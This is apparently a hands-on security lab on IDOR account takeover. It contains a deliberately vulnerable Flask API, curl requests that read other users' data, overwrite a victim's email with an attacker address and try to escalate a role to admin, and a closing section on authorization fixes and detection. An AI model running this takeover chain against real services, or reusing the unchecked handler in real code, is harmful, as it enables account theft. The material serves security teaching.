IDOR Account Takeover

The API returns user data based on an ID you supply in the URL. The server never checks whether that ID actually belongs to you.

Scenario

You've registered an account on a vulnerable REST API application running in your lab. While browsing your own profile at /api/users/3, you notice the integer 3 in the URL. What happens if you change it to 2? Or 1? This lab walks you through reading another user's private data and then escalating to modifying it - the two stages of an IDOR account takeover.

Setup:

# Option A: crAPI (Completely Ridiculous API) - purpose-built IDOR lab
$ docker pull crapi/crapi:latest
$ curl -o docker-compose.yml \
  https://raw.githubusercontent.com/OWASP/crAPI/main/deploy/docker/docker-compose.yml
$ docker-compose up -d
# Access at http://localhost:8888
# Register two accounts: alice@lab.local and bob@lab.local
 
# Option B: DVWA (user management section)
$ docker run -d -p 8080:80 vulnerables/web-dvwa
 
# Option C: Write a minimal Flask target - see the Walkthrough for an inline script

Your Objective

1. Identify an API endpoint that accepts a user/object ID parameter
2. Enumerate IDs to find another user's account record
3. Read that user's private data (email, address, or profile fields)
4. Escalate: modify that user's data using a PUT/PATCH request with your own session token
5. Capture the flag: the other user's private email address

Hints

Walkthrough

# Install flask if needed
$ pip3 install flask --quiet
 
# Save and run the target server
$ python3 - << 'EOF'
from flask import Flask, request, jsonify
app = Flask(__name__)
USERS = {
  1: {"id": 1, "name": "Alice Admin", "email": "alice@corp.internal", "role": "admin"},
  2: {"id": 2, "name": "Bob User",   "email": "bob@corp.internal",   "role": "user"},
  3: {"id": 3, "name": "You",        "email": "you@lab.local",       "role": "user"},
}
@app.route("/api/users/<int:uid>", methods=["GET","PUT"])
def user(uid):
    if request.method == "GET":
        return jsonify(USERS.get(uid, {})), (200 if uid in USERS else 404)
    data = request.get_json(silent=True) or {}
    USERS[uid].update(data)
    return jsonify(USERS[uid])
app.run(port=5000)
EOF

GET /api/users/3 HTTP/1.1
Host: localhost:5000
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoieW91In0.YOURTOKENHERE

$ curl -s http://localhost:5000/api/users/1 \
  -H "Authorization: Bearer YOURTOKEN" | python3 -m json.tool

{
    "id": 1,
    "name": "Alice Admin",
    "email": "alice@corp.internal",
    "role": "admin"
}

$ curl -s -X PUT http://localhost:5000/api/users/2 \
  -H "Authorization: Bearer YOURTOKEN" \
  -H "Content-Type: application/json" \
  -d '{"email": "attacker@evil.com"}' | python3 -m json.tool

{
    "id": 2,
    "name": "Bob User",
    "email": "attacker@evil.com",
    "role": "user"
}

$ curl -s http://localhost:5000/api/users/1 \
  -H "Authorization: Bearer YOURTOKEN"
# {"id":1,"name":"Alice Admin","email":"alice@corp.internal","role":"admin"}
 
# Now attempt to elevate your own role:
$ curl -s -X PUT http://localhost:5000/api/users/3 \
  -H "Authorization: Bearer YOURTOKEN" \
  -H "Content-Type: application/json" \
  -d '{"role": "admin"}'
# If the server applies this update, you have vertical privilege escalation

Solution

The core IDOR:

GET /api/users/1 HTTP/1.1
Authorization: Bearer <YOUR_VALID_TOKEN>

Swap 1 for any valid user ID. Your authentication token remains valid - only the object being accessed changes. The server never verifies that the requested resource belongs to the authenticated user.

Account takeover chain:

1. Read victim's email: GET /api/users/2
2. Overwrite victim's email: PUT /api/users/2 with {"email":"attacker@evil.com"}
3. Trigger password reset for victim's username
4. Reset link arrives at attacker-controlled email
5. Full account takeover, no password cracking required

Defend It

Correct pattern (pseudocode):

# Vulnerable - uses ID directly from request:
# user = db.get_user(request.path_param("id"))
# return user
 
# Safe - always scope to the authenticated principal:
# requesting_user = auth.get_current_user(request)
# target_user     = db.get_user(request.path_param("id"))
# if target_user.id != requesting_user.id and not requesting_user.is_admin:
#     return 403 Forbidden
# return target_user

Additional hardening:

• Use UUIDs instead of sequential integers - GUIDs are hard to guess and enumerate (/api/users/a3f7c1b2-... vs /api/users/3). This is defence in depth, not a fix - authorization checks are still required.
• Return 403, not 404, for unauthorized access - returning 404 for unauthorized IDs leaks information about which IDs exist. Return 403 Forbidden consistently.
• Audit logs - log every object access with the requesting user's identity. Spikes in cross-user ID access are a detection signal.
• Automated IDOR scanning - tools like Autorize (Burp extension) automatically replay requests with different user tokens to surface IDOR issues during testing.